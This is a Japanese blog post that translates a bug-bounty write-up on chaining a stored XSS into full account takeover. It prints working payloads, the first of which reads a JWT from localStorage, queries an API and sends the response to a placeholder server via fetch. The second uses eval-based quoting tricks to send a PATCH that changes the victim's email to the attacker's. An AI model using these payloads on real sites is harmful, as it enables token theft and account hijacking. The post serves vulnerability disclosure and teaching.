Shikata Ga Nai

Private? There is no such things.

Story of a stored xss to full account takeover vulnerability(N/A to accepted)を訳してみた

Hello there, ('ω')ノ

 

保存された xss から完全アカウント乗っ取りの脆弱性の話 (N/A から承認済み)を。

 

脆弱性:

  XSS

 アカウント乗っ取り

 

記事:

 https://bughunter25.medium.com/story-of-a-stored-xss-to-full-account-takeover-vulnerability-n-a-to-accepted-8478aa5e0d8e

 

hackerone のプライベート プログラムへの招待を受け取り、テストを開始し。

 

このサイトは主にグループ目的であり、企業が他の人々の間でデータを共有したり、

このサイトにアカウントを持つ他の人を招待したりでき。

最初のテスト中、 csrf、xss、セッションの構成ミスなどのランダムなバグを

探していて。

すぐに保存された xss バグを発見し。

 

このサイトには、記憶を呼び戻すためにさまざまな目的でデータを保存できる、

ある種のマインドマップを作成する機能があり。

そして、これを行うためのテンプレートがいくつかあり。

これは作成中に発行されたリクエストで。

 

    POST /endpoint

    Site: example.com

    {“tag1":”abc”,”tag2":”def”,”html”:”<div>blabla”}

 

この div に注目し、<b>test</b> のような単純な HTML タグを追加したところ、

正しくレンダリングされ。

ここで、 <script>alert(6)</script> のようなものを試してみましたが、実行されず。

xss は、<image>、<iframe>、<svg> などを使用して他の方法でも実行でき。

<image src=x onerror=alert(5)/> を試してみると、アラートがポップアップして。

そして、保存された xss に興奮したため、これを報告したところ、

15 日後にこれが彼らからの返信で。

 

あまり議論したくなかったので、サイトで見つけた他のバグと結びつけ始め。

すべての機密リクエストで csrf 保護として使用される jwt トークンがあり、

600 秒ごとに変更されたと思って。 

 

jwt トークンは Cookie ではなくローカルの HTML ストレージに

保存されるようになり。

これを以前に見つけた xss と連鎖させてユーザ情報を盗むことができないかと考え、

すぐに xmHttpRequest を思い出し。

svg タグの onload ハンドラに JavaScript を追加できるようになったので、

最初に HTML ストレージから jwt トークンを盗み、次にそれを

xmlhttprequest の認証リクエスト ヘッダに追加することで、

ユーザ情報を盗むための簡単な poc を準備して。

これが、xmlhttprequest で検索した後のペイロードでした そしてAPIを取得し。

 

    POST /endpoint

    Site: example.com

{“tag1”:”abc”,”tag2":”def”,”html”:”<svg onload=\”var token=localStorage.getItem(‘jwt’);var xhr=new XMLHttpRequest();xhr.open(‘GET’,’https:/example.com/api/v0/endpoint/’, true);xhr.setRequestHeader(‘Accept’, ‘application/json’);xhr.setRequestHeader(‘Content-Type’,’application/json; charset=utf-8');xhr.setRequestHeader(‘Authorization’, ‘Bearer ‘ + token);xhr.send();xhr.onreadystatechange = function() { if (this.readyState == 4 && this.status == 200) { alert(xhr.responseText);
fetch(‘https://YOURSERVER?q='+xhr.responseText);}};\"/>"}

 

これは、ローカル ストレージから jwt トークンを盗み、

機密エンドポイントに対して xmlhttprequest を作成し、

盗まれた Authorization ヘッダ (つまり、 jwt ) を追加し、

フェッチ API を介してユーザの機密情報を含む応答をサーバに送信して。

しかし、アカウントを完全に乗っ取りたいと考えていて。 

そして、最初のテストから、アプリケーションは電子メールの変更中に

パスワードを要求せず、リクエストにauthヘッダを使用して

次のようなPATCHリクエストを作成したことがわかり。

 

    PATCH /email-change

    {“email”:”x@x.com”}

 

PATCH リクエストは xmlhttprequest で許可されているので、試してみて。

最初に、この PATCH リクエストでは json データが必要であることをお伝えしたかと。

上記の最初のペイロードから、POST リクエスト自体に json ペイロードが

含まれていることがわかり。

 

    POST /endpoint

    Site: example.com

    {“tag1”:”abc”,”tag2":”def”,”html”:”<PAYLOAD>”}

 

新しいペイロード:

<svg onload=\”var token=localStorage.getItem(‘jwt’);alert(token);var xhr=new XMLHttpRequest();xhr.open(‘PATCH’,’https://site.com/v0/user', true);xhr.setRequestHeader(‘Accept’, ‘application/json’);xhr.setRequestHeader(‘Content-Type’,’application/json; charset=utf-8');xhr.setRequestHeader(‘Authorization’, ‘Bearer ‘ + token);var body=’{“email”:”x@x.com”}’;xhr.send(parsed);xhr.onreadystatechange = function() { if (this.readyState == 4 && this.status == 200) { alert(xhr.responseText) }};\”/>

 

ペイロードを含めてこのリクエストを作成したときにさらに詳しく説明すると、

最初にペイロード全体が元の JSON の HTML パラメーター内にあり、

二重引用符 (JSON のプロパティ) 内にあり、二重引用符で囲む必要があり、

その中に svg があることがわかり。

二重引用符も含まれる onload ハンドラーを持つペイロード

(OK、バックスラッシュでエスケープします)、ただし、

JSON データ (二重引用符が必要です) を持つアカウント引き継ぎの

PATCH リクエストもありますが、すでに二重引用符の外側でエスケープされていて。

 

onload ハンドラで、

(単純に 2 つのバックスラッシュでエスケープすると考えているはずで完了し)

これで、サイトはデータを受け入れましたが、xss が保存されているこの場所に

アクセスしたとき、おそらく json 内の 2 つのバックスラッシュが原因で、

PATCH リクエストが xss から発行されず。

コンソールでは、「リテラルにはエスケープされていない改行が含まれています」と

表示されていて。 

 

直面していた問題は何か:

1.onload ハンドラ内の PATCH リクエストの json データで一重引用符を

送信すると、リクエストは「無効な json」と表示されて失敗し。

2.onload ハンドラ内の PATCH リクエストの json データで二重引用符を送信すると

リクエストは受け入れられましたが、実際の xss での PATCH リクエストは失敗し。

 

これについて多くの異なることを試し、グーグルでスタックオーバーフローを

繰り返しましたが、それでも成功せず、

常に上記の 2 つの問題のいずれかに直面していて。

このように一重引用符で囲まれた JSON を実装して、

実行中に二重引用符に変換することも試みて。

 

    var body = {‘email’:’’x@x.com}

    body.replace(/’/g, ‘“‘)

 

しかし、これも置換関数に二重引用符が必要なため失敗して。

さらにグーグルで調べた後、evalを使用して一重引用符で囲まれたJSONを

二重引用符で囲まれたJSONにする方法もあることを知り。

したがって、二重引用符をどこにも使用せずに、eval を使用して

一重引用符付きの JSON を二重引用符付きの JSON に変換できて。

 

    var test = {‘a’:’b’};

    var new = eval(‘(‘ + test + ’)’);

 

そして、かなり近づいていると感じ。

bodyパラメータ内に一重引用符で囲まれたデータを含む新しいペイロードを作成し、

evl関数でそれを二重引用符に変換して。

 

    <svg onload=\”var token=localStorage.getItem(‘jwt’);var xhr=new XMLHttpRequest();xhr.open(‘PATCH’,’https://example.com/api/v0/user', true);xhr.setRequestHeader(‘Accept’, ‘application/json’);xhr.setRequestHeader(‘Content-Type’,’application/json; charset=utf-8');xhr.setRequestHeader(‘Authorization’, ‘Bearer ‘ + token);var body=’{\\’email\\’:\\’x@x.com\\’}’;str = eval(‘(‘ + body + ‘)’);var parsed=JSON.stringify(str);xhr.send(parsed);xhr.onreadystatechange = function() { if (this.readyState == 4 && this.status == 200) { alert(xhr.responseText) }};\”/>

 

リクエストを送信して受け入れられ。

最初の段階に合格し。

ページをロードすると、xss が保存されていて。

xss が実行され、コンソールにエラーは表示されず。

完了したように感じて。

1 分以内に、攻撃者の電子メール アカウントに、アカウントの

新しい電子メール アドレスを確認するための確認電子メールが届き。

数百のペイロードを試し、3 ~ 4 日後に、最終的に完全なアカウント乗っ取りに

適したペイロードを取得できて。

おそらく JavaScript での JSON 実装の基本が苦手で、

このペイロードを機能させるのに非常に時間がかかって。

 

このペイロードが行うことは、ユーザに新しい電子メールを発行する

PATCH リクエストを作成することで。

そのマインドマップにアクセスした人は、xss を実行して、

そのユーザの電子メールを攻撃者の電子メールに変更して。

 

連鎖する脆弱性 ⇨ xss + Jwt トークンを HTML ローカル ストレージに保存 +

メール変更時にパスワード保護なし

 

Best regards, (^^ゞ